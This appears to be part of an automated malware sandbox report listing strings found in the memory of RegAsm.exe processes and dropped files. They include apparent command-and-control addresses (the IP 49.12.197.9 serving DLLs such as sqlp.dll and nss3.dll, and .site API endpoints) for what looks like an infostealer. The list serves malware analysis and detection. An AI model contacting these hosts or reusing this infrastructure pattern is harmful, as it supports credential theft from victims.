Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, nss3.dll.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, nss3.dll.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, nss3.dll.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, nss3.dll.7.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, nss3.dll.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://ocsp.entrust.net02
Source: 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://ocsp.entrust.net03
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, nss3.dll.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3222236226.000000006FD3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.7.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180122498.00000000201AD000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3608769212.000000001B88C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3627953083.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 66fb252fe232b_Patksl.exe, 00000000.00000002.2293869752.0000000003A55000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: 76561199780418869[1].htm.47.dr	String found in binary or memory: https://49.12.197.9
Source: RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9.0.5938.134
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000159D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000151F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/&=
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000151F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/-end-point:P
Source: RegAsm.exe, 0000001D.00000002.3633419758.00000000012B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/1
Source: RegAsm.exe, 0000001D.00000002.3633419758.00000000012B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/9p
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/B
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/Bn$
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/C
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/E
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/F
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/GCFHIE
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/M
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/NB
Source: RegAsm.exe, 0000001D.00000002.3633419758.00000000012B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/Qp
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/_1
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/freebl3.dll
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/jn
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/mozglue.dll
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/mozglue.dllVd
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/msvcp140.dll
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/msvcp140.dllzfB%)
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/nss3.dll
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/nss3.dllKd
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000151F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/ows
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/softokn3.dll
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/softokn3.dllRf
Source: RegAsm.exe, 0000002F.00000002.3439409998.000000000055E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000151F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/sqlp.dll
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/sqlp.dllJ
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000151F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/sqlp.dllXO
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/vcruntime140.dll
Source: RegAsm.exe, 0000002F.00000002.3445776825.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/x
Source: RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9BFBKEG
Source: RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9BGCAEB
Source: RegAsm.exe, 0000001D.00000002.3626123161.0000000000584000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9DHDGII
Source: RegAsm.exe, 0000001D.00000002.3626123161.0000000000584000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9GCFBFH
Source: RegAsm.exe, 0000002F.00000002.3439409998.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9JJECAK
Source: RegAsm.exe, 0000002F.00000002.3439409998.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000584000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9pData
Source: RegAsm.exe, 0000002F.00000002.3439409998.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9s.exe
Source: RegAsm.exe, 0000001A.00000002.3191512945.000000000124C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abnomalrkmu.site/api2
Source: RegAsm.exe, 00000031.00000002.3383730142.0000000000AC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://absorptioniw.site/
Source: RegAsm.exe, 00000031.00000002.3385332408.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://absorptioniw.site/%
Source: RegAsm.exe, 0000001A.00000002.3191512945.0000000001217000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.3191512945.000000000124C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000031.00000002.3383832619.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://absorptioniw.site/api
Source: DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: RegAsm.exe, 00000003.00000002.2395951419.000000000122A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/
Source: RegAsm.exe, 00000003.00000002.2395951419.0000000001285000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.000000000122A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/?format=json
Source: RegAsm.exe, 00000003.00000002.2395951419.0000000001285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org:443/?format=json
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a
Source: 76561199780418869[1].htm.47.dr	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3616544001.0000000027901000.00000004.00000020.00020000.00000000.sdmp, HDAFHI.7.dr, KFHJJJKKFHIDAAKFBFBF.32.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3616544001.0000000027901000.00000004.00000020.00020000.00000000.sdmp, HDAFHI.7.dr, KFHJJJKKFHIDAAKFBFBF.32.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000151F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ep
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.epnacl
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000160F000.00000004.00000020.00020000.00000000.sdmp, DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000160F000.00000004.00000020.00020000.00000000.sdmp, DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: RegAsm.exe, 0000001A.00000002.3191512945.000000000124C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chorusarorp.site/api
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.co
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: RegAsm.exe, 0000002F.00000002.3439409998.000000000050E000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000050E000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
